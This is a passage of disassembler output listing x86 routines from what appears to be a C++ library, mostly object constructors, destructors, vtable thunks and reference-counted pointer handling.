		call	sub_69B17320
		jmp	loc_69B6B274
sub_69B6B250	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 8
dword_69B6B3C8	dd 0FFFFFFFFh			dd offset loc_69B6B317
		dd offset loc_69B6B320

; =============== S U B	R O U T	I N E =======================================



sub_69B6B3D4	proc near		; DATA XREF: .text:69B13B14o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	[esp+8+arg_0]
		mov	esi, ecx
		call	sub_69B6CFE2
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+10h]
		mov	edi, eax
		lea	eax, [esi+38h]
		push	eax
		lea	ecx, [edi+48h]
		call	sub_69B4D414
		lea	eax, [esi+3Ch]
		push	eax
		lea	ecx, [edi+4Ch]
		call	sub_69B4D414
		lea	eax, [esi+2Ch]
		push	eax
		lea	ecx, [edi+3Ch]
		call	sub_69B4D414
		lea	eax, [esi+28h]
		push	eax
		lea	ecx, [edi+38h]
		call	sub_69B4D414
		cmp	dword ptr [esi+8], 0
		jz	short loc_69B6B42F
		call	sub_69B315A6
		push	eax
		add	esi, 30h
		push	esi
		call	sub_69B17320


loc_69B6B42F:				; CODE XREF: sub_69B6B3D4+4Aj
		mov	eax, edi
		add	edi, 10h
		neg	eax
		sbb	eax, eax
		and	eax, edi
		pop	edi
		pop	esi
		retn	4
sub_69B6B3D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6B43F	proc near		; DATA XREF: .text:69B13BDCo

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword ptr [ecx+4Ch], 0
		jz	short locret_69B6B480
		push	esi
		lea	esi, [ecx+48h]
		mov	eax, [esi]
		test	eax, eax
		jnz	short loc_69B6B461
		call	sub_69B6B207
		push	eax
		push	esi
		call	sub_69B17320
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_69B6B47F


loc_69B6B461:				; CODE XREF: sub_69B6B43F+Ej
		mov	ecx, [esp+4+arg_0]
		push	1
		push	eax
		push	0
		push	0
		push	1
		call	sub_69B3D2F2
		mov	ecx, [esp+4+arg_4]
		mov	edx, [ecx]
		push	0
		push	eax
		call	dword ptr [edx+7Ch]


loc_69B6B47F:				; CODE XREF: sub_69B6B43F+20j
		pop	esi

locret_69B6B480:			; CODE XREF: sub_69B6B43F+4j
		retn	8
sub_69B6B43F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B6B53D


loc_69B6B483:				; CODE XREF: sub_69B6B53D+Dj
		push	esi
		push	[esp+4+arg_C]
		mov	esi, ecx
		push	[esp+8+arg_8]
		push	[esp+0Ch+arg_4]
		call	sub_69B6D314
		push	[esp+4+arg_0]
		mov	dword ptr [esi], offset	off_69B13B90
		mov	dword ptr [esi+8], offset off_69B13B30
		mov	dword ptr [esi+10h], offset off_69B13A98
		and	dword ptr [esi+40h], 0
		lea	ecx, [esi+4Ch]
		call	sub_69B1E084
		mov	eax, esi
		pop	esi
		retn	10h
; END OF FUNCTION CHUNK	FOR sub_69B6B53D

; =============== S U B	R O U T	I N E =======================================



sub_69B6B4C1	proc near		; DATA XREF: .text:69B13B3Co

arg_0		= byte ptr  4

		sub	ecx, 8
		jmp	sub_69B6B554
sub_69B6B4C1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6B4C9	proc near		; DATA XREF: .text:69B13B4Co
		sub	ecx, 8
		jmp	sub_69B6B084
sub_69B6B4C9	endp

; ---------------------------------------------------------------------------


loc_69B6B4D1:				; DATA XREF: .text:69B13AA4o
		sub	ecx, 10h
		jmp	short sub_69B6B554
; ---------------------------------------------------------------------------


loc_69B6B4D6:				; DATA XREF: .text:69B13AB4o
		sub	ecx, 10h
		jmp	sub_69B6B084

; =============== S U B	R O U T	I N E =======================================



sub_69B6B4DE	proc near		; DATA XREF: .text:69B13B64o
		sub	ecx, 8
		jmp	sub_69B6B0FB
sub_69B6B4DE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6B4E6	proc near		; DATA XREF: .text:69B13ACCo
		sub	ecx, 10h
		jmp	sub_69B6B0FB
sub_69B6B4E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6B4EE	proc near		; CODE XREF: .text:69B6B534p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B6D3CA
		xor	eax, eax
		mov	dword ptr [esi], offset	off_69B13B90
		mov	dword ptr [esi+8], offset off_69B13B30
		mov	dword ptr [esi+10h], offset off_69B13A98
		mov	[esi+38h], eax
		mov	[esi+3Ch], eax
		mov	[esi+40h], eax
		mov	[esi+48h], eax
		mov	[esi+4Ch], eax
		mov	eax, esi
		pop	esi
		retn	4
sub_69B6B4EE	endp

; ---------------------------------------------------------------------------


loc_69B6B525:				; DATA XREF: .text:69B6B090o
		push	50h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B6B53A
		push	0
		mov	ecx, eax
		call	sub_69B6B4EE
		retn
; ---------------------------------------------------------------------------


loc_69B6B53A:				; CODE XREF: .text:69B6B52Ej
		xor	eax, eax
		retn

; =============== S U B	R O U T	I N E =======================================



sub_69B6B53D	proc near		; CODE XREF: sub_69B62C49:loc_69B62CB6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

; FUNCTION CHUNK AT 69B6B483 SIZE 0000003E BYTES

		push	50h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B6B54F
		mov	ecx, eax
		jmp	loc_69B6B483
; ---------------------------------------------------------------------------


loc_69B6B54F:				; CODE XREF: sub_69B6B53D+9j
		xor	eax, eax
		retn	10h
sub_69B6B53D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6B554	proc near		; CODE XREF: sub_69B6B4C1+3j
					; .text:69B6B4D4j
					; DATA XREF: ...

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B6B56F
		test	[esp+4+arg_0], 1
		jz	short loc_69B6B569
		push	esi
		call	sub_69B1829F


loc_69B6B569:				; CODE XREF: sub_69B6B554+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B6B554	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6B56F	proc near		; CODE XREF: sub_69B6B554+3p
		push	esi
		mov	esi, ecx
		lea	eax, [esi+4Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+48h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+40h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+3Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+38h]
		push	eax
		call	sub_69B17230
		mov	ecx, esi
		pop	esi
		jmp	sub_69B65BC0
sub_69B6B56F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6B5A7	proc near		; CODE XREF: sub_69B6B7EE+3j
					; .text:69B6B7F9j
					; DATA XREF: ...
		mov	eax, offset off_69B6B5B0
		retn
sub_69B6B5A7	endp

; ---------------------------------------------------------------------------
		align 10h
off_69B6B5B0	dd offset off_69B29C7C	; DATA XREF: sub_69B6B5A7o
		dd offset loc_69B6B824

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B6B5B8	proc near		; DATA XREF: .text:69B13C2Co

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		test	edi, edi
		mov	esi, ecx
		jz	short loc_69B6B60E
		push	dword ptr [esi+28h]
		mov	eax, [edi]
		push	0
		mov	ecx, edi
		call	dword ptr [eax+4]
		cmp	dword ptr [esi-4], 2
		jnz	short loc_69B6B5F9
		test	eax, eax
		jz	short loc_69B6B5F9
		lea	ecx, [esi-10h]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, esi
		cmp	eax, ecx
		jz	short loc_69B6B5F9
		push	[ebp+arg_8]
		mov	edx, [eax]
		push	[ebp+arg_4]
		mov	ecx, eax
		push	edi
		call	dword ptr [edx+4Ch]
		jmp	short loc_69B6B610
; ---------------------------------------------------------------------------


loc_69B6B5F9:				; CODE XREF: sub_69B6B5B8+1Ej
					; sub_69B6B5B8+22j ...
		push	dword ptr [esi+28h]
		mov	eax, [edi]
		push	0
		mov	ecx, edi
		call	dword ptr [eax]
		cmp	[ebp+arg_8], eax
		jnz	short loc_69B6B60E
		mov	eax, [ebp+arg_8]
		jmp	short loc_69B6B610
; ---------------------------------------------------------------------------


loc_69B6B60E:				; CODE XREF: sub_69B6B5B8+Cj
					; sub_69B6B5B8+4Fj
		xor	eax, eax


loc_69B6B610:				; CODE XREF: sub_69B6B5B8+3Fj
					; sub_69B6B5B8+54j
		pop	edi
		pop	esi
		pop	ebp
		retn	0Ch
sub_69B6B5B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6B616	proc near		; DATA XREF: .text:69B13C34o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		test	edi, edi
		mov	esi, ecx
		jz	short loc_69B6B668
		push	dword ptr [esi+28h]
		mov	eax, [edi]
		push	0
		mov	ecx, edi
		call	dword ptr [eax+4]
		cmp	dword ptr [esi-4], 2
		jnz	short loc_69B6B653
		test	eax, eax
		jz	short loc_69B6B653
		lea	ecx, [esi-10h]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, esi
		cmp	eax, ecx
		jz	short loc_69B6B653
		push	[esp+8+arg_4]
		mov	edx, [eax]
		push	edi
		mov	ecx, eax
		call	dword ptr [edx+54h]
		jmp	short loc_69B6B66B
; ---------------------------------------------------------------------------


loc_69B6B653:				; CODE XREF: sub_69B6B616+1Cj
					; sub_69B6B616+20j ...
		push	dword ptr [esi+28h]
		mov	eax, [edi]
		push	0
		mov	ecx, edi
		call	dword ptr [eax]
		cmp	[esp+8+arg_4], eax
		jnz	short loc_69B6B668
		xor	eax, eax
		jmp	short loc_69B6B66B
; ---------------------------------------------------------------------------


loc_69B6B668:				; CODE XREF: sub_69B6B616+Aj
					; sub_69B6B616+4Cj
		or	eax, 0FFFFFFFFh


loc_69B6B66B:				; CODE XREF: sub_69B6B616+3Bj
					; sub_69B6B616+50j
		pop	edi
		pop	esi
		retn	8
sub_69B6B616	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6B670	proc near		; DATA XREF: .text:69B13C38o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		test	edi, edi
		mov	esi, ecx
		jz	short loc_69B6B6C5
		push	dword ptr [esi+28h]
		mov	eax, [edi]
		push	0
		mov	ecx, edi
		call	dword ptr [eax+4]
		cmp	dword ptr [esi-4], 2
		jnz	short loc_69B6B6AD
		test	eax, eax
		jz	short loc_69B6B6AD
		lea	ecx, [esi-10h]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, esi
		cmp	eax, ecx
		jz	short loc_69B6B6AD
		push	[esp+8+arg_4]
		mov	edx, [eax]
		push	edi
		mov	ecx, eax
		call	dword ptr [edx+58h]
		jmp	short loc_69B6B6C7
; ---------------------------------------------------------------------------


loc_69B6B6AD:				; CODE XREF: sub_69B6B670+1Cj
					; sub_69B6B670+20j ...
		push	dword ptr [esi+28h]
		mov	eax, [edi]
		push	0
		mov	ecx, edi
		call	dword ptr [eax]
		xor	ecx, ecx
		cmp	[esp+8+arg_4], eax
		setz	cl
		mov	al, cl
		jmp	short loc_69B6B6C7
; ---------------------------------------------------------------------------


loc_69B6B6C5:				; CODE XREF: sub_69B6B670+Aj
		mov	al, 1


loc_69B6B6C7:				; CODE XREF: sub_69B6B670+3Bj
					; sub_69B6B670+53j
		pop	edi
		pop	esi
		retn	8
sub_69B6B670	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6B6CC	proc near		; DATA XREF: .text:69B13D1Co
		push	esi
		mov	esi, ecx
		mov	ecx, [esi+18h]
		test	ecx, ecx
		jz	short loc_69B6B6EB
		cmp	byte ptr [esi+3Ch], 1
		jz	short loc_69B6B6EB
		push	dword ptr [esi+38h]
		mov	eax, [ecx]
		push	0
		call	dword ptr [eax]
		mov	byte ptr [esi+3Ch], 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_69B6B6EB:				; CODE XREF: sub_69B6B6CC+8j
					; sub_69B6B6CC+Ej
		xor	eax, eax
		pop	esi
		retn
sub_69B6B6CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6B6EF	proc near		; DATA XREF: .text:69B13C24o
		mov	byte ptr [ecx+2Ch], 0
		jmp	sub_69B6CCB6
sub_69B6B6EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6B6F8	proc near		; DATA XREF: .text:69B13C28o

arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte ptr [ecx+2Ch], 0
		push	0
		push	[esp+8+arg_0]
		call	sub_69B6CD21
		retn	0Ch
sub_69B6B6F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6B70E	proc near		; DATA XREF: .text:69B13C60o

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		jz	sub_69B6CD55
		mov	byte ptr [ecx+2Ch], 0
		jmp	sub_69B6CD55
sub_69B6B70E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6B722	proc near		; DATA XREF: .text:69B13CC4o
		cmp	dword ptr [ecx+30h], 0FFFFFFFFh
		mov	eax, 30Dh
		jnz	short locret_69B6B730
		add	eax, 2

locret_69B6B730:			; CODE XREF: sub_69B6B722+9j
		retn
sub_69B6B722	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6B731	proc near		; DATA XREF: .text:69B13D20o

arg_0		= dword	ptr  4

		mov	eax, ecx
		cmp	dword ptr [eax+18h], 0
		jz	short loc_69B6B751
		push	dword ptr [eax+38h]
		mov	ecx, [eax+18h]
		mov	edx, [ecx]
		push	0
		call	dword ptr [edx+4]
		test	eax, eax
		jz	short loc_69B6B751
		mov	edx, [eax]
		mov	ecx, eax
		jmp	dword ptr [edx+60h]
; ---------------------------------------------------------------------------


loc_69B6B751:				; CODE XREF: sub_69B6B731+6j
					; sub_69B6B731+17j
		mov	eax, [esp+arg_0]
		retn	4
sub_69B6B731	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6B758	proc near		; DATA XREF: .text:69B13C5Co

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B6CFE2
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+10h]
		mov	ecx, [esi+28h]
		mov	[eax+38h], ecx
		add	eax, 10h
		pop	esi
		retn	4
sub_69B6B758	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6B778	proc near		; DATA XREF: .text:69B13D24o

arg_4		= dword	ptr  8

		mov	edx, dword_69B9B308
		mov	ecx, [esp+arg_4]
		mov	eax, [ecx]
		push	offset off_69B6B798
		push	dword ptr [edx+8]
		call	dword ptr [eax+0ACh]
		retn	8
sub_69B6B778	endp

; ---------------------------------------------------------------------------
		align 4
off_69B6B798	dd offset off_69B17D10	; DATA XREF: sub_69B6B778+Co
		align 10h
		dd 7
		dd offset aCurrent_0	; "current"
aCurrent_0:				; DATA XREF: .text:69B6B7A4o
		unicode	0, <current>,0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B6B83C


loc_69B6B7B8:				; CODE XREF: sub_69B6B83C+Dj
		push	esi
		push	[esp+4+arg_4]
		mov	esi, ecx
		push	0
		push	0
		call	sub_69B6D314
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		mov	dword ptr [esi], offset	off_69B13CD8
		mov	dword ptr [esi+8], offset off_69B13C78
		mov	dword ptr [esi+10h], offset off_69B13BE0
		jl	short loc_69B6B7E5
		inc	eax


loc_69B6B7E5:				; CODE XREF: sub_69B6B83C-5Aj
		mov	[esi+38h], eax
		mov	eax, esi
		pop	esi
		retn	8
; END OF FUNCTION CHUNK	FOR sub_69B6B83C

; =============== S U B	R O U T	I N E =======================================



sub_69B6B7EE	proc near		; DATA XREF: .text:69B13C94o
		sub	ecx, 8
		jmp	sub_69B6B5A7
sub_69B6B7EE	endp

; ---------------------------------------------------------------------------


loc_69B6B7F6:				; DATA XREF: .text:69B13BFCo
		sub	ecx, 10h
		jmp	sub_69B6B5A7

; =============== S U B	R O U T	I N E =======================================



sub_69B6B7FE	proc near		; CODE XREF: .text:69B6B833p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B6D3CA
		mov	dword ptr [esi], offset	off_69B13CD8
		mov	dword ptr [esi+8], offset off_69B13C78
		mov	dword ptr [esi+10h], offset off_69B13BE0
		mov	eax, esi
		pop	esi
		retn	4
sub_69B6B7FE	endp

; ---------------------------------------------------------------------------


loc_69B6B824:				; DATA XREF: .text:69B6B5B4o
		push	40h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B6B839
		push	0
		mov	ecx, eax
		call	sub_69B6B7FE
		retn
; ---------------------------------------------------------------------------


loc_69B6B839:				; CODE XREF: .text:69B6B82Dj
		xor	eax, eax
		retn

; =============== S U B	R O U T	I N E =======================================



sub_69B6B83C	proc near		; CODE XREF: sub_69B62CE7+20p
					; sub_69B633C4+A9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 69B6B7B8 SIZE 00000036 BYTES

		push	40h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B6B84E
		mov	ecx, eax
		jmp	loc_69B6B7B8
; ---------------------------------------------------------------------------


loc_69B6B84E:				; CODE XREF: sub_69B6B83C+9j
		xor	eax, eax
		retn	8
sub_69B6B83C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6B853	proc near		; CODE XREF: sub_69B6BCAF+3j
					; .text:69B6BCC2j
					; DATA XREF: ...
		mov	eax, offset off_69B6B85C
		retn
sub_69B6B853	endp

; ---------------------------------------------------------------------------
		align 4
off_69B6B85C	dd offset off_69B29C7C	; DATA XREF: sub_69B6B853o
		dd offset sub_69B6C105

; =============== S U B	R O U T	I N E =======================================



sub_69B6B864	proc near		; CODE XREF: .text:69B6B8C1p
					; .text:69B6B8E8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		mov	eax, [ecx]
		test	eax, eax
		jnz	short loc_69B6B881
		mov	ecx, [esp+arg_4]
		mov	eax, [ecx]
		test	eax, eax
		jg	short loc_69B6B886
		cmp	eax, 0FFFFFFFFh
		jl	short loc_69B6B883
		mov	al, 1
		jmp	short locret_69B6B888
; ---------------------------------------------------------------------------


loc_69B6B881:				; CODE XREF: sub_69B6B864+8j
		jge	short loc_69B6B886


loc_69B6B883:				; CODE XREF: sub_69B6B864+17j
		inc	eax
		mov	[ecx], eax


loc_69B6B886:				; CODE XREF: sub_69B6B864+12j
					; sub_69B6B864:loc_69B6B881j
		xor	al, al

locret_69B6B888:			; CODE XREF: sub_69B6B864+1Bj
		retn	8
sub_69B6B864	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6B88B	proc near		; CODE XREF: sub_69B6BA3F+55p
					; sub_69B6BAF2+60p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		push	edi
		mov	edi, ecx
		jl	short loc_69B6B89C
		cmp	esi, [edi+8]
		jl	short loc_69B6B8A1


loc_69B6B89C:				; CODE XREF: sub_69B6B88B+Aj
		call	sub_69B2E6D8


loc_69B6B8A1:				; CODE XREF: sub_69B6B88B+Fj
		imul	esi, 1Ch
		lea	eax, [esi+edi+0Ch]
		pop	edi
		pop	esi
		retn	4
sub_69B6B88B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6B8AD	proc near		; DATA XREF: .text:69B6BFE8o
		mov	ecx, [ecx+4]
		mov	eax, [ecx]
		jmp	dword ptr [eax+8]
sub_69B6B8AD	endp

; ---------------------------------------------------------------------------


loc_69B6B8B5:				; DATA XREF: .text:off_69B6BFE0o
		lea	eax, [esp+8]
		push	eax
		lea	eax, [esp+8]
		push	eax
		mov	edx, ecx
		call	sub_69B6B864
		test	al, al
		jz	short loc_69B6B8D5
		mov	ecx, [edx+8]
		mov	eax, [ecx]
		call	dword ptr [eax+3Ch]
		retn	8
; ---------------------------------------------------------------------------


loc_69B6B8D5:				; CODE XREF: .text:69B6B8C8j
		mov	ecx, [edx+4]
		mov	eax, [ecx]
		jmp	dword ptr [eax]
; ---------------------------------------------------------------------------


loc_69B6B8DC:				; DATA XREF: .text:69B6BFE4o
		lea	eax, [esp+8]
		push	eax
		lea	eax, [esp+8]
		push	eax
		mov	edx, ecx
		call	sub_69B6B864
		test	al, al
		jz	short loc_69B6B8F7
		mov	eax, [edx+8]
		retn	8
; ---------------------------------------------------------------------------


loc_69B6B8F7:				; CODE XREF: .text:69B6B8EFj
		mov	ecx, [edx+4]
		mov	eax, [ecx]
		jmp	dword ptr [eax+4]

; =============== S U B	R O U T	I N E =======================================



sub_69B6B8FF	proc near		; DATA XREF: .text:69B13E00o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_4]
		mov	esi, ecx
		mov	al, [esi+3Eh]
		push	[esp+8+arg_0]
		and	al, 3
		cmp	al, 2
		jnz	short loc_69B6B92C
		mov	eax, [esi+28h]
		lea	ecx, [eax+10h]
		mov	eax, [ecx]
		call	dword ptr [eax+88h]
		mov	ecx, [esi+1Ch]
		inc	ecx
		cmp	ecx, eax
		sbb	eax, eax
		inc	eax
		jmp	short loc_69B6B933
; ---------------------------------------------------------------------------


loc_69B6B92C:				; CODE XREF: sub_69B6B8FF+12j
		mov	ecx, esi
		call	sub_69B6CDE6


loc_69B6B933:				; CODE XREF: sub_69B6B8FF+2Bj
		pop	esi
		retn	8
sub_69B6B8FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6B937	proc near		; DATA XREF: .text:69B13E30o
		mov	eax, [ecx+28h]
		lea	ecx, [eax+10h]
		mov	eax, [ecx]
		jmp	dword ptr [eax+88h]
sub_69B6B937	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6B945	proc near		; CODE XREF: sub_69B6BAF2+47p
					; sub_69B6BBBC+67p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	[esp+8+arg_0]
		mov	edi, ecx
		push	10h
		call	sub_69B6E397
		mov	esi, eax
		test	esi, esi
		pop	ecx
		pop	ecx
		jz	short loc_69B6B96B
		mov	ecx, esi
		call	sub_69B19118
		mov	dword ptr [esi], offset	off_69B13D28
		jmp	short loc_69B6B96D
; ---------------------------------------------------------------------------


loc_69B6B96B:				; CODE XREF: sub_69B6B945+15j
		xor	esi, esi


loc_69B6B96D:				; CODE XREF: sub_69B6B945+24j
		push	0
		push	edi
		push	dword ptr [edi+8]
		mov	ecx, esi
		push	0
		call	sub_69B2E6E3
		pop	edi
		mov	eax, esi
		pop	esi
		retn	4
sub_69B6B945	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6B983	proc near		; CODE XREF: sub_69B6BCC7+3j
					; sub_69B6BCCF+3j
					; DATA XREF: ...
		push	esi
		mov	esi, ecx
		push	0
		lea	eax, [esi+44h]
		push	eax
		call	sub_69B17320
		push	0
		lea	eax, [esi+3Ch]
		push	eax
		call	sub_69B17320
		push	0
		lea	eax, [esi+40h]
		push	eax
		call	sub_69B17320
		push	0
		lea	eax, [esi+38h]
		push	eax
		call	sub_69B17320
		mov	ecx, esi
		pop	esi
		jmp	sub_69B6CBC6
sub_69B6B983	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B6B9BA	proc near		; DATA XREF: .text:69B13DF0o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, ecx
		and	byte ptr [esi+3Eh], 0FCh
		xor	ebx, ebx
		push	ebx
		lea	eax, [esi+34h]
		push	eax
		call	sub_69B17320
		push	ebx
		lea	eax, [esi+30h]
		push	eax
		call	sub_69B17320
		push	[ebp+arg_8]
		mov	ecx, esi
		push	[ebp+arg_4]
		mov	[esi+38h], ebx
		push	[ebp+arg_0]
		mov	[esi+3Dh], bl
		call	sub_69B6CD21
		mov	eax, [esi+28h]
		lea	ecx, [eax+10h]
		mov	eax, [ecx]
		push	ebx
		call	dword ptr [eax+8Ch]
		push	[ebp+arg_8]
		mov	eax, [esi+28h]
		push	[ebp+arg_4]
		lea	ecx, [eax+10h]
		push	[ebp+arg_0]
		mov	eax, [ecx]
		call	dword ptr [eax+48h]
		mov	eax, [esi+28h]
		push	dword ptr [esi+4]
		lea	ecx, [eax+10h]
		mov	eax, [ecx]
		call	dword ptr [eax+8Ch]
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_69B6B9BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6BA2B	proc near		; DATA XREF: .text:69B13E08o
		mov	eax, [ecx+1Ch]
		mov	ecx, [ecx+28h]
		mov	ecx, [ecx+3Ch]
		push	eax
		call	sub_69B1A954
		mov	eax, [eax]
		retn	4
sub_69B6BA2B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B6BA3F	proc near		; DATA XREF: sub_69B6BCF3+2ADo

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	edx, [ebp+arg_4]
		mov	edx, [edx]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [esi+4Ch]
		mov	eax, [esi+40h]
		push	edi
		mov	edi, 0FFh
		and	ecx, edi
		imul	edx, ecx
		and	[ebp+var_8], 0
		shl	edx, 4
		lea	ebx, [edx+eax+0Ch]
		mov	edx, [ebp+arg_8]
		mov	edx, [edx]
		imul	edx, ecx
		shl	edx, 4
		test	ecx, ecx
		lea	eax, [edx+eax+0Ch]
		mov	[ebp+var_4], eax
		jnz	short loc_69B6BA85
		xor	eax, eax
		jmp	short loc_69B6BAED
; ---------------------------------------------------------------------------


loc_69B6BA85:				; CODE XREF: sub_69B6BA3F+40j
		and	[ebp+arg_0], 0
		test	[esi+4Ch], edi
		jbe	short loc_69B6BACA


loc_69B6BA8E:				; CODE XREF: sub_69B6BA3F+89j
		push	[ebp+arg_0]
		mov	ecx, [esi+3Ch]
		call	sub_69B6B88B
		push	dword ptr [esi+0Ch]
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	[ebp+var_4]
		mov	ecx, ebx
		push	20h
		call	sub_69B642AB
		mov	eax, [ebp+var_8]
		test	eax, eax
		jnz	short loc_69B6BAE2
		mov	eax, [esi+4Ch]
		inc	[ebp+arg_0]
		add	[ebp+var_4], 10h
		and	eax, edi
		add	ebx, 10h
		cmp	[ebp+arg_0], eax
		jb	short loc_69B6BA8E


loc_69B6BACA:				; CODE XREF: sub_69B6BA3F+4Dj
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		mov	edx, [ebp+arg_8]
		xor	ecx, ecx
		cmp	eax, [edx]
		setnl	cl
		lea	ecx, [ecx+ecx-1]
		mov	eax, ecx
		mov	[ebp+var_8], eax


loc_69B6BAE2:				; CODE XREF: sub_69B6BA3F+75j
		mov	ecx, [ebp+var_C]
		cmp	byte ptr [ecx+14h], 0
		jz	short loc_69B6BAED
		neg	eax


loc_69B6BAED:				; CODE XREF: sub_69B6BA3F+44j
					; sub_69B6BA3F+AAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_69B6BA3F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6BAF2	proc near		; CODE XREF: sub_69B6BCD7+Ap
					; sub_69B6BFF8+2Ep ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+3Ch]
		cmp	dword ptr [edi], 0
		jnz	short loc_69B6BB23
		push	48h
		call	sub_69B17EF3
		mov	ebx, eax
		mov	ecx, ebx
		mov	dword ptr [ebx+8], 2
		call	sub_69B19118
		push	ebx
		push	edi
		mov	dword ptr [ebx], offset	off_69B13D28
		call	sub_69B17320


loc_69B6BB23:				; CODE XREF: sub_69B6BAF2+Bj
		mov	ecx, [edi]
		mov	edx, [esi+4Ch]
		mov	eax, [ecx+8]
		mov	ebx, 0FFh
		and	edx, ebx
		cmp	edx, eax
		jl	short loc_69B6BB45
		add	eax, eax
		push	eax
		call	sub_69B6B945
		push	eax
		push	edi
		call	sub_69B17320


loc_69B6BB45:				; CODE XREF: sub_69B6BAF2+42j
		mov	eax, [esi+4Ch]
		mov	edi, [edi]
		and	eax, ebx
		inc	byte ptr [esi+4Ch]
		push	eax
		mov	ecx, edi
		call	sub_69B6B88B
		mov	esi, [esp+0Ch+arg_0]
		mov	ecx, [esi+0Ch]
		test	ecx, ecx
		mov	edi, eax
		jz	short loc_69B6BB6E
		mov	eax, [ecx]
		push	5
		call	dword ptr [eax+40h]
		mov	[esi+0Ch], eax


loc_69B6BB6E:				; CODE XREF: sub_69B6BAF2+70j
		mov	ecx, [esi+10h]
		test	ecx, ecx
		jz	short loc_69B6BB7F
		mov	eax, [ecx]
		push	5
		call	dword ptr [eax+40h]
		mov	[esi+10h], eax


loc_69B6BB7F:				; CODE XREF: sub_69B6BAF2+81j
		push	dword ptr [esi]
		push	edi
		call	sub_69B17320
		mov	al, [esi+4]
		mov	[edi+4], al
		push	dword ptr [esi+0Ch]
